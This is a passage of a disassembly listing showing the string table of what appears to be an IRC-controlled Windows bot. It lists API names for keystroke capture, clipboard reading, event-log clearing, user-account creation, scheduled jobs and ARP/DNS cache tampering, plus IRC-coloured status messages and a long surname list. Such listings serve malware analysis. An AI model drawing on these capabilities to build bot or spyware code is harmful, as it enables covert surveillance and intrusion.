; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 10h aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 10h aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 10h unk_42D330 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4C0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h unk_42D4F0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_42D520 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D544 db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o align 10h aReal db 'real',0 align 4 dd 0 dword_42D58C dd 0 ; DATA XREF: sub_40B08D+7o off_42D590 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 10h dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D5F8 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D604 dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" 